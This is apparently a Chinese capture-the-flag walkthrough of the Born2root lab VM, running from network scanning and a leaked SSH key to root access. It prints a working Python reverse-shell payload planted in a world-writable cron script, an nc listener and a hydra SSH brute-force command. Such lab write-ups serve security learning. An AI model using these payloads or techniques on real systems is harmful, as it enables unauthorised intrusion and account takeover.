介绍
HackGameName:Born2root’s
Level:Medium
Task:Get /root/flag.txt
学习到的知识
利用Linux
的/etc/crontab
文件获取Shell
利用Hadry
暴力枚举SSH
登陆密码
信息搜集
先是扫描一下 eth0
网卡下有哪些主机存活(wifi连接的网卡)
1 |
netdiscover -i eth0 |
扫描出来后,发现靶机 IP :192.168.0.49
,获取到 IP
之后对它进行 NMAP
端口扫描:
1 |
nmap -A 192.168.0.49 |
扫描出来它开放了三个端口:22
,80
,111
,操作系统是Linux
,内核版本是3.2-4.9
(模糊):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) | ssh-hostkey: | 1024 3d:6f:40:88:76:6a:1d:a1:fd:91:0f:dc:86:b7:81:13 (DSA) | 2048 eb:29:c0:cb:eb:9a:0b:52:e7:9c:c4:a6:67:dc:33:e1 (RSA) | 256 d4:02:99:b0:e7:7d:40:18:64:df:3b:28:5b:9e:f9:07 (ECDSA) |_ 256 e9:c4:0c:6d:4b:15:4a:58:4f:69:cd:df:13:76:32:4e (ED25519) 80/tcp open http Apache httpd 2.4.10 ((Debian)) | http-robots.txt: 2 disallowed entries |_/wordpress-blog /files |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Secretsec Company 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 46136/udp6 status | 100024 1 47014/udp status | 100024 1 53732/tcp6 status |_ 100024 1 56378/tcp status |
通过扫描出来的开放服务,我对它进行来搜索,看看有没有对应的漏洞,很显然通过上图来看它们是没有漏洞的!那么我们继续从web
开始!
使用 dirb
对web目录进行探测枚举:
1 |
dirb http://192.168.0.49/ |
访问 files
是一个目录遍历,但是里面是空的;接着访问了 http://192.168.0.49/icons/
发现也是一个目录遍历
,里面泄漏了很多文件:
其中有一个文件 VDSoyuAXiO.txt
打开后发现是一个 ssh
的密钥:
1 |
http://192.168.0.49/icons/VDSoyuAXiO.txt |
这个很显然是一个 ssh-keygen
生成的私钥
文件!原文件名应该是:id_rsa
,通过这个文件我们可以对它进行破解,我们先保存起!继续信息搜集!
通过访问 robots.txt
后我发现它有两个文件,但是打开后发现没啥用:
最后通过访问 index.html
发现它泄漏了一个手机号和三个用户以及一枚邮箱:
1 2 3 |
tel:052-452-990-054 user:Martin、Hadi、Jimmy email:[email protected] |
通过信息搜集后,我从web
得到了一些用户名、邮箱,最重要的是我还得到了一个 ssh
的私钥!
登陆SSH
通过刚刚的信息搜集我利用 wget
把文件VDSoyuAXiO.txt
下载到本地并重命名为 id_rsa
文件:
因为刚刚得到了几个用户,通过社工到手段再结合利用这个私钥我尝试 ssh
登陆三个用户,最终是登陆了 martn
用户:
1 |
ssh -i id_rsa [email protected] |
登陆到 martin
用户后,我通过查看 passwd
文件发现了三个用户,那三个用户正是刚刚信息搜集得到到用户:
1 2 3 |
hadi jimmy martin |
接着我来到 home
目录下的 hadi
用户,我发现里面没有啥文件可以利用的:
接着尝试进入 jimmy
用户目录发现权限不够,进入不了:
利用定时任务反弹Shell
通过查看 /etc/crontab
目录,我发现了一个定时任务
:
1 |
cat /etc/crontab |
在 /tmp
(临时目录)下有一个 sekurity.py
文件,jimmy
用户会每隔五分钟运行一次!那么,我们可不可以通过这个来反弹Shell
呢?
通过进入 tmp
目录发现里面是空的,啥文件都没有:
然后创建一个 sekurity.py
文件,里面内容是通过 socket、subprocess、os模块,通过套接字监听 kali
的 ip
和端口
:
1 2 3 4 5 6 7 |
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.0.6",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]); |
然后 Kali
使用 nc
监听 4444
端口:
1 |
nc -lnvp 4444 |
过了五分钟后,通过nc得到了一枚shell:
通过信息收集发现 jimmy
用户没得 flag
文件,那么估计就在 hadi
用户哪里!
这个时候我通过一系列的翻文件和一些关键信息,我没有找到可以利用的地方,没办法只能通过最暴力的办法获取hadi
用户:暴力枚举
!
Hadry爆破SSH
通过字典生成,我生成了有关 hadi
的字典文件:
利用Hadry
爆破SSH
:
1 2 |
hydra -l hadi -P dic.txt 192.168.0.49 ssh -v 其中-l 指定用户名,可以使用-L指定用户名字典文件;-p指定密码,-P指定密码字典文件;-v显示详细的执行过程;-f爆破成功后就停止枚举。 |
通过暴力枚举后,得到 hadi
的密码是 hadi123
!
通过登陆到 hadi
用户后,su
切换 root
用户,密码为 hadi123
:
最终在 root
目录下得到了 flag
!
交流群:
微信公众号:
知识星球: